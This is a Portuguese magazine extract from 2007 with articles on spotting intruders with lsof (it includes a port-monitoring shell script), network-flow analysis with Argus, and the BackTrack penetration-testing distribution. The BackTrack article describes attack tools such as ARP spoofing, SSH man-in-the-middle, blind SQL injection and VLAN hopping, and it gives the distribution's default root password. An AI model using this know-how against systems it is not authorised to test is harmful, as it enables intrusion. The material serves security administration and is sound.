lsof +D /tmp

Lista todos os arquivos abertos em /tmp e seus subdiretórios sem links simbólicos.

lsof -u Usuário

Lista todos os arquivos abertos para o usuário especificado.

lsof -u ^root

Lista todos os arquivos abertos, exceto aqueles abertos pelo superusuário.

lsof -d txt

Mostra uma lista de processos, semelhante ao ps aux, listando as entradas com o descritor de arquivo txt, em vez do número normal (txt refere-se ao código e aos dados do programa, ou seja, para arquivos executáveis).

lsof +L1

Mostra todos os arquivos apagados que ainda estão abertos, e, portanto, ainda ocupam espaço em disco, mas não são parte de um diretório (arquivos com menos de um link).

lsof -i

Arquivos relacionados à rede.

lsof -i -P -n

Todos os arquivos relacionados à rede sem o número da porta como identificador do serviço e sem resolver nomes de máquina (para uma resposta mais veloz).

lsof -i6

Mostra arquivos relacionados a IPv6.

lsof | grep ‘\>‘

Todas as conexões ativas.

lsof -a -i u www-data

Todos os arquivos de rede para a conta www-data (relação E, -a).

Arrogante, mas burro

Nosso criminoso cibernético é realmente arrogante, mas seus métodos revelam mais auto-confiança do que habilidade técnica – especialmente considerando o fato de que ele não se incomodou em acobertar seus vestígios. Ocultar esse diretório com um ponto e usando a conta bash para o processo são sintomas de inexperiência. No exemplo 3, o agressor encontrou uma brecha de segurança semelhante, e instalou vários aplicativos. Mais uma vez, ele não tomou o cuidado de esconder seu rastro; a conta www-data possui diversas portas abertas, incluindo a do proxy IRC Pbsync. O nome único de processo pbsync (linhas 5 a 8) é uma forte evidência, mas ao menos houve uma tentativa de esconder os processos por trás de um nome familiar – o do servidor de nome bind, na linha 9. Na realidade, isso é um servidor SSH adulterado que oferece acesso ao sistema para o usuário www-data sem exigir qualquer senha. Também existe um processo do servidor com o suspeito nome de a (linhas 2 a 4).

Automação

Talvez seja necessário um script que compare um status de sistema conhecido ao status atual e responda de forma pré-definida no caso de desvios – ou seja, um sistema de detecção de anomalias. Com o lsof, faz sentido monitorar uma lista de portas abertas, acrescentando nomes de processos, de usuários e interfaces.

Figura 3 A ferramenta baseada em Java Jlsof converte a saída do lsof em uma simples tabela.

41

Linux Magazine #29 | Abril de 2007

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


CAPA | Lsof

Exemplo 4: Portas TCP abertas Leitura do arranjo inicial das portas

Leitura do arranjo

Arranjo atual das

atual das portas

portas torna-se

01 02 03 04 05 06 07

$ lsof -i TCP -n -P | awk ‘/LISTEN/ {print $1”/”$3”/”$8}’ | sort -u apache/root/*:443 apache/root/*:80 apache/www-data/*:443 apache/www-data/*:80 mysqld/mysql/127.0.0.1:3306 sshd/root/*:22

A saída mostrada na linha 2 do exemplo

novo padrão

4 foi retirada de um servidor Debian Sarge

Sim

Alterações ao

Email para

arranjo

o administrador

das portas?

Não

Figura 5 O script mostrado no exemplo 5 alerta o administrador sempre que ocorrer uma alteração no arranjo das portas. Para isso, ele compara o estado original com o atual a cada dez segundos.

O comando mostrado na linha 1 do exemplo 4 lida com a primeira parte dessa tarefa de uma forma elegante. Ele ordena que o lsof mostre os arquivos relacionados à rede (-i) sem gravar os números das portas como nomes de serviços (-P) e sem resolver os endereços IP em nomes de máquina (-n). O awk verifica a saída das portas que estão escutando (status LISTEN) e formata a saída como: nome_de_usuário/ nome_de_processo/IP:Porta, onde o endereço IP de * significa um servidor que escuta em todas as suas interfaces. O sort final organiza a saída final em ordem alfabética e -u assegura que cada combinação de usuário, processo e serviço apareça apenas uma vez.

com Apache 1.3, MySQL e um daemon SSH. Em nosso exemplo, o MySQL se liga somente à interface local (linha 6), enquanto o Apache e o SSH são acessíveis por qualquer interface. O agrupamento dos processos do Apache nos usuários root e www-data, que resulta da diminuição dos privilégios de root após o início do programa, é característico de um servidor web.

Faça seu próprio IDS

O mini IDS baseado no lsof mostrado no exemplo 4 funciona como indica a figura 5. Ao ser iniciado, o script lembra (exemplo 5, linhas 4 a 8) da configuração de portas atual. A cada dez segundos, ele chama o lsof para obter a lista de portas abertas, comparando-a ao último status (linha 12). Se ocorrer alguma mudança, o script envia um email contendo os status anterior e posterior (linhas 14 a 20) e utiliza o novo status em outras comparações (linha 22). Para testar seu sistema artesanal de detecção de anomalias, pode-se abrir uma porta temporariamente. O Netcat oferece uma forma fácil para isso, com o comando nc -l -p 12345 iniciando-o em modo de escuta (-l) e mantendo a porta 12345 aberta. Dentro de

Exemplo 5: Monitoramento de portas 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23

#!/bin/bash MAILTO=”root” HOSTNAME=`hostname` getports() { lsof -i -n -P | awk ’/LISTEN/{print $1”/”$3”/”$8}’ | sort -u } VELHO=”$(getports)” echo -e “Comece com o seguinte arranjo de portas:\n$VELHO” while sleep 10 ; do NOVO=”$(getports)” if test ”$VELHO” != ”$NOVO” ; then echo “Arranjo de portas alterado. Notificando o administrador por email” mail -s “Atencao: Status de escuta de $HOSTNAME foi alterado” $MAILTO << EOF Status antes da alteracao: $VELHO Status apos a alteracao: $NOVO EOF fi VELHO=”$NOVO” done

dez segundos, o script shell no loop infinito deve perceber a mudança de estado da porta e responder de acordo com ela. É importante atentar à mudança que alguns processos causam na forma como o lsof enxerga as associações de portas. Por exemplo, alguns servidores de email criam forks adicionais de processos, dependendo do estado da conexão que chega. Em algumas circunstâncias, processos como esse podem causar alarmes falsos, embora seja bem fácil evitar isso modificando a lógica por trás da consulta. Acrescentar |grep -v temporary service na linha 5 deve resolver.

Conclusão

Não se deve esperar que um simples script de shell substitua um IDS completo. Contudo, se o objetivo for uma ferramenta de detecção simplista, ou uma linha de defesa extra, o lsof pode ser parte da solução. Acrescentar um gerenciamento de configurações baseado em criptografia, no estilo do Aide, pode ser útil, assim como a verificação de arquivos executados, a avaliação da configuração UDP e muitas outras coisas. Chamadas repetidas ao lsof podem ainda abrir novos campos de aplicação, como mostrado pelas opções de monitoramento de arquivos no Glsof. Seja em um script ou como ferramenta rápida de administração universal, o lsof é um utilitário fácil e praticamente ilimitado para se buscar intrusos. ■

Mais Informações [1] Página do lsof no Freshmeat: http://freshmeat.net/projects/lsof/ [2] FAQ do lsof: http://lsof.itap. purdue.edu/pub/tools/unix/lsof/FAQ [3] Glsof: http://glsof. sourceforge.net [4] JLsof: http://www.geocities. co.jp/SiliconValley/1596/ jlsof/readme.html [5] Sloth: http://www.sveinbjorn.org/sloth/ [6] Hardened PHP: http://www.hardened-php.net

42

http://www.linuxmagazine.com.br

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


Vigiando o tráfego de rede

De olho no tráfego

CAPA

O Argus auxilia o monitoramento do fluxo de dados na rede, detecta tendências, descobre worms e vírus e analisa o uso da banda. por Ralf Spenneberg

Chris Chidsey -www.sxc.hu

V

ários administradores não se preocupam com o tráfego em suas redes, contanto que tudo esteja funcionando. O problema é que, se você não pensar em opções de análise de redes antes que seja tarde demais, a análise normalmente falhará devido à ausência de dados basais para comparação. Quais conexões são normais? Como podemos definir volumes exagerados de tráfego? É impossível responder essas questões, a menos que haja dados de referência que descrevam o status normal da rede. Estudos detalhados do tráfego da rede são importantes não apenas para solucionar problemas: eles também podem ajudar a localizar computadores configurados de forma incorreta, detectar surtos de worms ou vírus e realizar análises forenses. É importante possuir dados de referência para suas conexões de rede, mas simplesmente registrar dados de rede crus vai exigir muito espaço. Na maioria dos casos, será mais que suficiente gravar fluxos de tráfego de rede. Uma ferramenta como o Argus pode ajudar a analisar esses dados.

Fluxo de tráfego de rede O fluxo de tráfego de uma rede é uma cadeia de dados IP – qualquer conexão TCP é um fluxo, por

exemplo. A maioria dos sistemas de monitoramento registra o endereço IP, protocolo, portas e volume de dados transitados. O pioneiro dessa tecnologia é o fabricante de dispositivos de rede Cisco, que incluiu esse tipo de funcionalidade em seus dispositivos há vários anos. Os roteadores da Cisco utilizam UDP para exportar os fluxos de rede (Netflows) monitorados, e há diversos softwares disponíveis, como o ntop[1], que conseguem importar e analisar esses dados. Outros fabricantes de roteadores acrescentaram funções compatíveis em seus dispositivos. Além disso, muitos programas de análise de Netflow rodam sobre roteadores baseados em Linux, caso você não possua roteadores Cisco. Os programas geram dados de Netflow compatíveis com a Cisco, os quais o administrador pode processar através do ntop ou produtos semelhantes. O ntop suporta uma análise mais detalhada do que o MRTG, por exemplo, que não analisa fluxos individuais, usando simplesmente SNMP para mostrar o tráfego total de dados. Se o objetivo for simplesmente identificar tendências, o MRTG pode ser suficiente. Porém, para avaliar os dados registrados é necessária uma ferramenta capaz de mostrar e analisar seus dados.

Alternativa: Argus

O Argus [2] oferece uma alternativa ao Netflow e outras ferramentas de monitoramento. Ele consiste em dois componentes: um daemon que detecta fluxos e os registra em um arquivo, e uma coleção de clientes que ajudam o administrador a analisar os fluxos. O formato usado pelo Argus pode não ser compatível com o Netflow da Cisco, mas possui muito mais funções. Enquanto o Netflow armazena dois fluxos para cada conexão (uma para cada direção), o Argus aglutina essas informações em um único fluxo. Infelizmente, o formato do Argus mudou ao longo dos anos. O conversor Canine[3] está disponível para versões antigas (Argus 2.0.5). O Canine suporta vários formatos, mas, infelizmente, não aquele usado pela versão 3.0 do Argus, a atual versão de desenvolvimento, usada neste artigo. Entretanto, podemos esperar uma nova versão do Canine logo após o lançamento da versão final do Argus 3.

Figura 1 Agregando conexões com endereços idênticos oferece ao administrador uma visão mais clara.

43

Linux Magazine #29 | Abril de 2007

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


CAPA | Argus

Exemplo 1: Distribuição de protocolos na rede 01 $ racluster -m proto -r /tmp/argus.out -s proto trans pkts bytes 02 udp 926 2478 330500 03 tcp 1190 3550430 3538952906 04 igmp 1 10 540 05 icmp 147 272 25936 06 llc 1365 1365 155155 07 ipx/sp 455 455 50050 08 arp 733 874 44556

Configuração

Arquivamento

# cp ./support/Config/argus.conf /etc/ ➥argus.conf # chmod 600 /etc/argus.conf

0 1 * * * /usr/local/bin/argusarchive >> / ➥var/log/argus/arquivo.log 2>&1

Antes de usar o Argus, é necessário instalar seu daemon nos sistemas cujos fluxos de rede devem ser monitorados e registrados. Para usar o Argus 3.0.0 RC, primeiro é preciso baixar o pacote, e depois descompactá-lo e seguir os passos comuns ./configure && make && make install para instalá-lo. Em seguida, deve-se copiar o arquivo de configuração para /etc/ e modificar as permissões:

As modificações do arquivo de configuração são auto-explicativas. Por enquanto podemos apenas especificar a variável ARGUS_OUTPUT_FILE adequadamente e retirar os sinais de libra. Os clientes Argus coletam os dados pelos fios diretamente do daemon, quando o daemon ativa a porta. A porta padrão (561) é ativada por padrão. Por motivo de segurança, geralmente é interessante criar uma nova conta de usuário para o daemon, após completar os testes iniciais, e especificar a opção ARGUS_SETUSER_ID no arquivo de configuração. O pacote com o código-fonte inclui um script de inicialização, ./support/Startup/argus , para o daemon; usuários de Red Hat e Fedora podem copiar o script para /etc/init.d/ e ativá-lo; outras distribuições, no entanto, não são suportadas.

Figura 2 O comando rasort ordena a saída com critérios variados.

A rotação regular é uma cura comprovada para arquivos de registro superdimensionados. Em ambientes de teste, pode-se esperar dois a cinco megabytes de dados por dia, enquanto redes em produção gerarão por volta de 100 MB de entradas nos registros diariamente. Para suportar o rodízio, o código-fonte do Argus possui um script chamado argusarchive, em ./support/Archive/. Uma entrada do Cron relativa a esse script seria mais ou menos assim:

Antes de fazer isso pela primeira vez, será necessário modificar algumas variáveis nas duas primeiras linhas do script – o diretório do arquivo e a localização do arquivo de protocolo, por exemplo. A versão atual do script ainda se encontra um pouco defeituosa, então é bom usar o logrotate ou uma ferramenta semelhante.

Análise dos dados

O Argus possui uma coleção de ferramentas de análise de dados. Todos os comandos começam com ra (veja a tabela 1).

A ferramenta mais importante é raSe você estiver interessado no principal consumidor de banda de sua rede, é possível passar o parâmetro -m saddr na linha de comando, para ordenar que o programa combine todos os fluxos com endereços idênticos (figura 1). Os parâmetros mostrados na tabela 2 armazenam os Netflows; todos eles podem ser agregados pelo racluster. A opção -L0 faz o Argus gerar como saída um cabeçalho com os nomes das colunas. O parâmetro -c adiciona um separador (por exemplo, -c \|). As colunas da figura 1 contêm os seguintes dados: ➧ Hora de início (stime); ➧ Protocolo (proto); ➧ Endereço IP de origem (saddr); ➧ Direção (dir); ➧ Endereço IP de destino (daddr); ➧ Número de pacotes IP enviados pela origem (spkts); ➧ Número de pacotes IP enviados pelo destino (dpkts); ➧ Número de bytes enviados pela origem (sbytes); ➧ Número de bytes enviados pelo destino (dbytes); ➧ Status da conexão (status). Os administradores podem usar a opção -s para modificar a saída: por exemplo, racluster -s stime dur saddr spkts moscluster.

Tabela 1: Comandos do Argus Comando

Efeito

ra

processa e filtra os dados do Argus

rabins

processa e separa dados do Argus (baseados em tempo, por exemplo)

racluster

agrega dados do Argus

racount

efetua contagens arbitrárias de dados do Argus

radium

atua como um multiplexador e fornece acesso simultâneo aos dados para múltiplos clientes

ragraph

representação gráfica dos dados do Argus

ragrep

procura expressões regulares nos dados do Argus

rasort

ordena a saída por um campo arbitrário

rasplit

distribui a saída através de múltiplos arquivos

rastrip

apaga vários parâmetros dos arquivos

ratopf

mostra “ao vivo” os dados do Argus

44

http://www.linuxmagazine.com.br

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


Argus | CAPA

trará apenas a hora, duração IP de origem e número de pacotes enviados.

dos volumes de tráfego na rede e dos sistemas sob o ruído.

Visualizações

Quais serviços estão em uso?

A opção -M rmon, conforme mostrado na figura 1, é um truque útil. Normalmente, um nó de rede será tanto cliente quanto servidor. Portanto, o Argus enxergará o nó como fonte em alguns fluxos e como destino em outros. Essa opção faz as ferramentas recalcularem todos os fluxos. Essa função também é necessária para se preparar os dados para aplicações de RMON. O monitoramento remoto (RFC 1757) é outra alternativa de monitoramento de redes. O comando racluster ordena seus resultados pelo objeto de agregação especificado (em nosso exemplo, saddr). Se não for desejável ordenar pelo IP, e sim pelo número de bytes enviados, também é possível especificar o comando rasort. O racluster possui uma opção especial -w para operações com pipe (ela informa a ferramenta para enviar seus resultados para a saída padrão). A figura 2 mostra como as visualizações ordenadas dão aos administradores um panorama útil

Uma questão freqüente entre administradores de redes diz respeito aos serviços que os usuários da rede de fato utilizam, e quais volumes de dados eles trocam. Políticas corporativas podem proibir alguns serviços, e uma análise pode ajudar a introduzir medidas de contenção em uma etapa anterior. Cavalos de tróia geralmente usam portas incomuns que chamam a atenção na listagem. Mais uma vez, o racluster é necessário para gerar uma lista das portas em uso: racluster -M rmon -m proto sport -r /tmp/ ➥argus.out -w - - ip |rasort -m bytes proto sport -s stime dur proto sport spkts ➥dpkts sbytes dbytes

Nesse exemplo, a porta de origem ( sport) é o objeto de agregação. Ao agregar portas, é importante usar os parâmetros -m sport e proto; na verdade, esses detalhes são obrigatórios.

Figura 3 Assim como a ferramenta top, o ratop mostra um texto de ajuda para o atalho de teclado quando se pressiona *[H]*.

Berkeley Packet Filter

Todos os comandos suportam a filtragem no estilo do tcpdump, porém, os filtros do Argus diferem em vários aspectos. A página de manual do ra(1) tem mais detalhes. Cada comando aceita um traço (-) seguido de um filtro de pacotes Berkeley, que no último exemplo foi ip. Filtros desse tipo permitem que os administradores restrinjam a análise a uma máquina ou rede específicas, caso necessário (por exemplo, ip and host 217.160.128.61).

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


CAPA | Argus

Tabela 2: Seleção de parâmetros do Argus

Figura 4 O ragraph dá ao administrador um gráfico dos dados de fluxo. A análise de portas mostra o uso dos serviços da rede (HTTP e HTTPS, no caso).

Uma mudança na distribuição do protocolo pode indicar a presença de um cavalo de tróia em sua rede. Para detectar isso, primeiro são necessários dados de referência para a distribuição normal. Mais uma vez, os administradores podem compilar esses dados facilmente com o Argus, como mostra o exemplo 1. A opção -s novamente restringe a saída às colunas necessárias.

Flexibilidade absoluta

Em combinações complexas, o racluster também suporta a definição de modelos de fluxo em um arquivo de configuração (racluster(5)). Além do número de variáveis que controlam o comportamento desse programa, o arquivo contém definições de filtros e definições opcionais de modelos. Um filtro especifica os fluxos que o racluster deve analisar, e um modelo descreve como a agregação deve ser realizada. Esses dois detalhes estão de acordo com os filtros de pacotes Berkeley e com a opção de linha de comando -m. Um arquivo de configuração típico é semelhante a: filter=”src net ( 10.0.0.0 mask 255.0.0.0 ➥)” model=”saddr/8 proto dport” filter=”dst net ( 10.0.0.0 mask 255.0.0.0 ➥)” model=”daddr/8 proto dport”

Fatores a mostrar

Parâmetros equivalentes

Endereços MAC

smac, dmac

Rótulo MPLS

smpls, dmpls

Rótulo VLAN

svlan, dvlan

Endereços IP

saddr, daddr

Protocolo IP

proto

Port

sport, dport

Tipo de serviço

stos, dtos

TTL

sttl, dttl

Em nosso exemplo, o Argus primeiro agregará os fluxos originados na rede 10.0.0.0/8 baseado no endereço de origem, protocolo e porta de destino.

Que horas são?

Configurar o Argus para o rodízio de logs restringe o período de avaliação potencial. Entretanto, todos os comandos do Argus suportam a opção -t espaço_de_tempo, seguida do período a ser avaliado. O rasplit extrai os dados exigidos e armazena-os num arquivo separado; mas ainda é possível utilizar todos os outros filtros. Se for preferível não alterar os arquivos de registro, usando os dados atuais no lugar, não tem problema – basta informar ao daemon do Argus que ele deve publicar seus dados através de uma porta TCP e ordenar às ferramentas ra* que coletem os dados do daemon quando o endereço IP deste for passar a elas com a opção -S.

Análise ao vivo

O ratop também suporta a análise “ao vivo” dos dados. O comando precisa de apenas um argumento: ratop -S Máquina_remota. Ele abre uma conexão à máquina com o daemon, lê e em seguida mostra os dados. O ratop ordena automaticamente as conexões pelo número de pacotes transmitidos, mas é possível usar outros critérios. A opção -h (figura 3) mostra os atalhos de teclado suportados pelo ratop.

Análise gráfica

Figura 5

A análise dos protocolos pode oferecer ao administrador muitas informações a respeito de túneis potenciais.

O Argus suporta ainda a análise gráfica de dados de rede. Por exemplo, os comandos a seguir fazem uma análise gráfica das portas especificadas. A figura 4 não contém a legenda original. As linhas azuis na figura mostram as conexões HTTP, enquanto as cinzas representam as conexões HTTPS. Além

disso, os dados recebidos são mostrados na área positiva do eixo Y, e os transmitidos ficam no espaço negativo. ragraph bytes dport -nn -M 1m -r argus.out ➥-w ./ports.png

Abaixo, a figura 5 ilustra graficamente uma análise dos protocolos usados pelo ragraph no exemplo 1: ragraph pkts proto -M 1m -r argus.out -w ➥./proto.png

Com isso, é fácil detectar um crescimento no tráfego ICMP ou IPv6, e se pode também suspeitar de algo, pois os dados poderiam indicar um túnel ou um ataque – os dois protocolos podem ser facilmente usados para ocultar dados maliciosos. Os administradores também podem avaliar o tempo de viagem (roundtrip) das conexões TCP (tcprtt), e a perda de pacotes (sloss, dloss). Apesar de vários recursos do Argus, como a análise gráfica, também estarem disponíveis em outras ferramentas, como o ntop e o MRTG, o armazenamento granular dos dados de fluxo oferecidos pelo Argus de fato dão aos administradores a capacidade de olhar com maior proximidade os dados suspeitos, enquanto esses outros programas não fornecem os dados originais para auxiliar a condução de uma análise detalhada. ■

Mais Informações [1] Ntop: http://www.ntop.org [2] Argus: http://www.qosient.com/argus [3] CANINE: http://security.ncsa.uiuc.edu/ distribution/CanineDownLoad.html [4] Release candidate do Argus: ftp://qosient.com/dev/argus-3.0/

46

http://www.linuxmagazine.com.br

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


Em busca de brechas na segurança

Operação: invasão

CAPA

A distribuição Live BackTrack permite que se aja como um invasor para testar a segurança de sua rede. por Ralf Spenneberg

Sam Hatch - www.sxc.hu

T

de aplicativos e instalá-los temporariamente em qualquer sistema que se planeje usar para o ataque. Entretanto, sua procura e instalação pode levar algumas horas ou até mesmo dias. Diversas distribuições de Linux são feitas para suportar testes de penetração. Duas das mais populares (Auditor e Whax) juntaram-se há aproximadamente um ano, criando o BackTrack [1]. O BackTrack é baseado no Slax [2], que por sua vez se baseia no Slackware. Além das várias ferramentas de intrusão, o BackTrack também inclui uma grande seleção de aplicativos para investigar e descobrir sinais de invasão clandestina. É possível obter o BackTrack a partir do website do projeto [1]. Este artigo tem como objetivo mostrar como usar o BackTrack, e também dar O desktop KDE permite que os administradores um panorama das diversas naveguem com facilidade pela imensa coleção de ferramentas incluídas no programas do BackTrack. CD da distribuição.

este de penetração é a arte de invadir sua própria rede. Consultores de segurança e administradores de sistemas utilizam esses testes para descobrir brechas de segurança antes que um invasor as encontre. Infelizmente, criminosos usam uma vasta coleção de ferramentas poderosas para capturar pacotes, disfarçar sua presença e quebrar códigos na rede alvo. Se o objetivo for simular um ataque, é possível baixar uma grande coleção

Figura 1

Apresentação

O BackTrack vem na forma de um Live CD. No prompt, entre o usuário root e, em seguida, a senha toor antes de prosseguir com a configuração da interface gráfica com o xconf. Após terminar a configuração, simplesmente digite startx para iniciar a interface gráfica. Se ocorrer algum erro, experimente usar o comando gui. Se for necessário, digite dhcpcd para pedir ao servidor DHCP um endereço IP, pois o BackTrack não faz isso automaticamente.

Figura 2 O NmapFE facilita a varredura; o programa se baseia no popular Nmap.

47

Linux Magazine #29 | Abril de 2007

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


CAPA | Backtrack

Figura 3

O john testa a força das senhas. A palavra toor foi desvendada em uma única rodada de tentativas. O sistema de menus da distribuição oferece acesso a dezenas de ferramentas de segurança e outros aplicativos de análise forense (figura 1). Navegar por ele é como passear pelos diversos menus e submenus de uma distribuição de jogos, exceto pelo fato de que os jogos são capturadores de pacotes, varredores de portas e outros utilitários para auxiliar nos testes de segurança.

Enumeração

A análise de segurança normalmente começa com um inventário dos computadores, sistemas operacionais e serviços de rede. O menu Enumeration fornece alguns populares varredores de portas, como o Nmap e sua interface gráfica, NmapFE, além de ferramentas de análise de SNMP e outras para acessar servidores LDAP e compartilhamentos SMB de sistemas Windows®. Os submenus contêm varredores para protocolos especiais. Por exemplo, o Nikto varre e analisa servidores Web, enquanto o IKE Scan e o IKE Probe ajudam admi-

nistradores a analisar suas VPNs. Após conferir os sistemas operacionais e serviços da rede, pode-se prosseguir para a busca de exploits em três grandes arquivos online: Milw0rm [3], Metasploit [4] e Securityfocus [5]. Se for necessário penetrar em sistemas protegidos por senhas ou descobrir o grau de ro- Figura 5 O sshow explora fraquezas do protocolo SSH e calcula o comprimento do nome do usuário, bustez de suas senhas, o da senha e dos comandos digitados na sessão. BackTrack oferece uma grande variedade de ferclui o Aircrack, Airsnort WEPAttack e ramentas para ataques a senhas. Além do clássico programa john para WEP_crack. quebra de senhas, que não terá qualquer Os ataques ao Bluetooth suportados problema para descobrir a senha do super- pela distribuição são aqueles dos casos mais usuário (veja a figura 3), há muitas outras comuns. Além das ferramentas de exploit ferramentas para quebra de senhas offline para essas redes – para encontrar telefones celulares vulneráveis, por exemplo –, ou adivinhação de senhas online. o BackTrack também traz ferramentas de auditoria para ajudar na identificação de dispositivos Bluetooth nas redondezas. Capturadores de pacotes auxiliam administradores de rede na varredura de suas redes e nos testes de protocolos seguros. O BackTrack possui diversos auxiliares úteis, incluindo os clássicos Wireshark (ainda chamado de Ethereal, no menu), Etherape, Como atualmente os ataques tendem proDriftnet e DSniff (figura 4), além de vários gressivamente a visar aplicativos web e seus outros capturadores de pacotes. bancos de dados subjacentes, a distribuição Com o BackTrack, é possível até mes- também possui vários programas que ajudam mo decifrar conexões SSH; o sshow e o administradores a analisar esses softwares. sshmitm atacam conexões SSH que usam Por exemplo, o curl suporta o acesso por a primeira versão do protocolo (figura 5). scripts a servidores web; o DMitry e o HTTOs administradores podem usar o sshmitm Print fornecem informações úteis a respeito para desferir um ataque do tipo man-in-the- dos servidores web e domínios (figura 6). middle sobre conexões SSH. Para isso, ou Caso o servidor web não esteja configupara utilizar capturadores de pacotes em rado de forma correta, o httpput suporta redes com switches, também serão neces- o upload de arquivos; o list-urls extrai tosárias ferramentas de adulteração de en- das as URLs de um website; e o isr-form. dereço (spoofing). O arpspoof e o macof pl analisa formulários HTML. suportam a captura nessas redes. Por último, mas não menos importante, Enquanto o macof gera muito tráfego o Nikto analisa os servidores web em busca gritante na rede, o arpspoof é uma ferra- de vulnerabilidades conhecidas. menta de difícil detecção, pois ele ataca o O proxy de penetração Paros fornece ao cache ARP dos sistemas alvo, enganando o administrador do sistema a possibilidade sistema para que este entregue os pacotes ao de modificar requisições HTTP antes de capturador através do switch. Isso é alcançado enviá-las ao servidor web. Dessa forma, com o envenenamento do cache ARP nas campos ocultos em formulários HTML máquinas vítimas. Em [6] há mais detalhes e cookies podem ser manipulados para sobre o spoofing no protocolo ARP. contornar testes de plausibilidade em Javascript sobre a entrada do formulário. A distribuição traz ainda scripts automáticos para injeção SQL cega, e quebradores de O BackTrack também vem com várias senhas por força bruta para análise de bancos ferramentas muito úteis para testar de dados. Ferramentas como o Absinthe (figura redes sem fio e Bluetooth. Além do 7) oferecem mecanismos automatizados para Kismet, a coleção de ferramentas in- simplificar o processo de análise.

Captura

Servidores web e bancos de dados

Sem fio

Figura 4

O DSniff identifica senhas de usuários transmitidas por protocolos de texto sem criptografia.

48

http://www.linuxmagazine.com.br

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


Backtrack | CAPA

tas testadas e aprovadas Sleuthkit e Autopsy, versões 2.03 e 2.06, respectivamente. A ferramenta Foremost [7] ajuda os analistas a identificar e recuperar arquivos deletados com base unicamente em seu conteúdo. É isso que os especialistas forenses chamam de file carving. Figura 6 O httprint consegue revelar o software do servidor web para um servidor de aplicação.

Cisco: um caso especial Os desenvolvedores do BackTrack também fornecem ferramentas para analisar dispositivos de rede da Cisco. As duas ferramentas mais proeminentes nesse sentido – Cisco Global Exploiter e o Yersinia – exploram vulnerabilidades conhecidas desses dispositivos. A segunda é particularmente interessante, pois ataca os protocolos proprietários de camada 2 da Cisco para ativar o hopping de VLANs. Os administradores de sistemas podem usar o Yersinia para reprogramar a porta usada pela conexão atual, levando-a a fazer parte de uma VLAN diferente. Entretanto, como as VLANs freqüentemente são usadas para separar redes por motivo de segurança, isso pode ser bem perigoso. Em muitos ambientes (talvez demais), os encarregados não prestam a devida atenção a seus switches; portanto, os exploits do Yersinia funcionam com uma freqüência maior do que a esperada. O varredor de vulnerabilidades da Cisco, Cisco Torch, ajuda os administradores de sistemas a fechar as brechas. O BackTrack também é útil para a análise forense de sistemas após seu comprometimento. A equipe forense inclui as ferramen-

Miscelânea

Além da penetração, varredura e ferramentas forenses, o BackTrack possui vários aplicativos interessantes para tunelamento. O SSLTunnel criptografa conexões TCP arbitrárias, enquanto o NSTX e o OzymanDNS estabelecem túneis através do protocolo DNS usando como proxies servidores de nomes que fazem cache obrigatoriamente. Também está disponível a ferramenta especial Hijetter, que dá aos usuários acesso às variáveis, à tela e também ao sistema de arquivos. A documentação é mais um item de extrema importância em testes de penetração. O BackTrack inclui o revolucionário editor Leo [8], que possui um modo de estrutura muito inteligente, com a capacidade de executar scripts diretamente de dentro de um documento. O editor Leo também suporta o acesso inteligente ao navegador de arquivos embutido. Por ser escrito em Python, o editor pode ser usado pelos administradores do sistema para escrever seus próprios scripts nessa linguagem, ou até para criar seus simples plugins.

Rode o instalador para instalar o BackTrack no disco rígido.

Os desenvolvedores estão atualmente trabalhando na versão 2.0, que incluirá atualizações para várias das ferramentas incluídas. Outras mudanças na nova versão englobam o aufs com compressão zlib em vez do UnionFS, o suporte a processadores de múltiplos núcleos e novas ferramentas como defcon, blackhat e packetstorm. Novos recursos incluem a inicialização pela rede e o suporte a clusters de invasão. Há uma versão beta do BackTrack 2.0 em seu site [1]. ■

Mais Informações [1] BackTrack: http://www.remote-exploit.org [2] Slax: http://www.slax.org [3] Milw0rm: http://www.milw0rm.com [4] Metasploit: http://www.metasploit.org

Para todo o sempre

Se a experiência de trabalhar com o BackTrack for positiva, o usuário talvez se interesse em salvar arquivos ou atualizar os aplicativos contidos na distribuição. Nesse caso, é possível instalar a distribuição no disco rígido ou num pen drive. Para isso, apenas selecione BackTrack Installer no menu System (figura 8). Após selecionar a mídia para gravação, deve-se optar pela instalação de uma versão Live (700 MB) ou um sistema Linux genuíno (2,7 GB). A segunda opção é útil para quem realmente desejar atualizar os aplicativos e também armazenar dados.

Conclusões Figura 7 O Absinthe transforma em brincadeira de criança a injeção SQL.

Figura 8

A distribuição BackTrack é uma ferramenta que deveria acompanhar todo administrador de sistemas. Ela oferece a esses profissionais tudo que é necessário para testar a segurança de uma rede.

[5] Securityfocus: http://www.securityfocus.com [6] Spoofing ARP na Wikipédia (em inglês): http://en.wikipedia.org/ wiki/ARP_spoofing [7] Foremost: http://foremost.sourceforge.net [8] Leo: http://webpages.charter.net/ edreamleo/

O autor Ralf Spenneberg é instrutor freelance de Unix e Linux. Em 2002 publicou o livro “Intrusion Detection for Linux Servers”, logo seguido por “VPNs on Linux”. Em breve, mais um livro seu, “Intrusion, Detection and Prevention with Snort and Co.”, estará nas livrarias.

49

Linux Magazine #29 | Abril de 2007

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


O novo Red Hat Enterprise

ANÁLISE

De terno riscado, sapato engraxado, chapéu vermelho na mão... Entre novidades, acusações e brigas, o Red Hat Enterprise aterrissa com sua versão 5. por Tadeu Carmona

O

